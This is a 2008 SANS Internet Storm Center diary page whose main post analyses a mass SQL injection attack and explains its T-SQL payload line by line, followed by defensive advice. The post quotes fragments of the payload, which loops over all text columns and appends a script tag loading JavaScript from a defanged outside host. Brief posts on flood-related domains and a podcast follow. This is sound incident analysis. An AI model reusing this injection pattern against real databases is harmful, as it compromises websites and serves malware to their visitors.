Threat Level: green Handler on Duty: Brad Duncan

SANS ISC InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

SQL Injection: More of the same

Published: 2008-06-13
Last Updated: 2008-06-16 01:18:07 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

We continue to receive more reports of SQL injection attacks, using updated URLs. One fo the "neat" features of this exploit is how it uses one single SQL statement which will pull all the necessary information from the database itself. Here is the latest version (thanks Jakub for submitting this!):


We have looked at these before. But let me re-iterate step by step what exactly is happening here:
First of all, we got a bit of URL encoding here. The "%20" represents a space. This turns the SQL statement into:


First a variable '@S' is declared as a "varchar" (comparable to a "string" in other languages) with a length of 4000 characters. Then, the output of 'CAST' is assigned to the variable. CAST is just used to turn the long hex string into a "varchar".

Bojan told us in an earlier diary how to convert the hex string using perl. In this case, we end up with:
(I slightly modified the included URL by adding spaces and turning http to hxxp. We had issues in the past with proxies flagging our diaries as "malicious").
SELECT, FROM sysobjects a,syscolumns b
WHERE AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+
CLOSE Table_Cursor
Lets go over this line by line:

First, two variables (T and C) are declared

DECLARE @T VARCHAR(255),@C VARCHAR(255) Next, we declare a "table_cursor". A table cursor will receive the output of a query line by line. It's essentially a "for" loop over all results returned by the query

DECLARE @T VARCHAR(255),@C VARCHAR(255) The cursor is defined for the following query:
SELECT, FROM sysobjects a,syscolumns b WHERE AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

This SQL query uses one particular trick: sysobject is a special table in SQL Server. It lists all the other tables available. syscolumns works similar for all columns found in these tables.

The query selects all "objects" with an xtype of "u". These are tables created by the user. System tables (like "sysobjects" and "syscolumns" are ignored). Next, it limits it to columns of type 35 (text), 231 (sysname) and 167 (varchar). These are datatypes that can hold a string of characters.

Our "cursor" will now retrieve all the results, and assign them to the variables "T" (table name) and "C" (column name)

Update... initially I posted the script part wrong. A couple readers pointed out that it was actually not escaped right. Our diary editor doesn't do that on purpose as handlers sometimes need to add html/javascript/css to make a diary "work"... well, luckily I at least escaped the script part... stuff happens

. The next sql statement will use these variables:

BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+
"<script src=hxxp://www. adsitelo .com/b.js></script>")

For all values of these selected columns, the malicious javascript is added. As a result, you will see the javascript littered throughout the application. Wherever the website is using a string from the database, the javascript is now added. You frequently see it as part of the title tag.

Finally: How to defend against this? The "simple" answer is of course to just not have any SQL injection faults. But that's easier said then done, in particular for an existing legacy application. A couple other things you can do:

  • limit the database user the web application uses. Maybe it doesn't have to update anything, or only few tables
  • Monitor your webapplication for SQL errors. These statements may create some errors if your web application doesn't have sufficient privileges
  • keep a close eye on your data and your application. Look for new javascript in titles and other spots that shouldn't have any

And finally: At SANSFIRE,, we will debut our new class, SEC522 "Defending Web Applications". Its an updated version of SEC519 ("Web Application Security") and now covers web services and other new topics.

Johannes B. Ullrich Ph.D. , CTO SANS Internet Storm Center

Keywords: SQL Injection
0 comment(s)

Floods: More of the same (2)

Published: 2008-06-13
Last Updated: 2008-06-13 16:23:41 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)
As expected, we do see a number of domain name registrations referencing the floods and tornados in Iowa. At this point, we haven't seen any obvious donation scams. Most of the domains are just parked, others offer news summaries and appear to try to make some money with Google ads. Please let us know if you run into any scams. As usual, please donate to reputable organizations. Try to avoid organizations you never heard before.

The IRS offers a database of tax exempt charities here:,,id=96136,00.html


Johannes B. Ullrich Ph.D. , CTO SANS Internet Storm Center

0 comment(s)

Podcast Episode Six

Published: 2008-06-13
Last Updated: 2008-06-13 15:41:37 UTC
by Joel Esler (Version: 1)
0 comment(s)

Just a quick note to let everyone know that we put out Podcast Episode 6 this morning, we tried to go alphabetically through all the topics (and there were a bunch).   Larry Pesce of PaulDotCom Security Weekly was able to join us mid-show.

Don't forget the Live Podcast that we are doing at SANSFIRE on July 23rd at 8pm.

iTunes users, go here to subscribe.

Non-iTunes users, go here to download.

As always we are looking for listener feedback, be sure and write in!


Joel Esler

Keywords: podcast
0 comment(s)
Diary Archives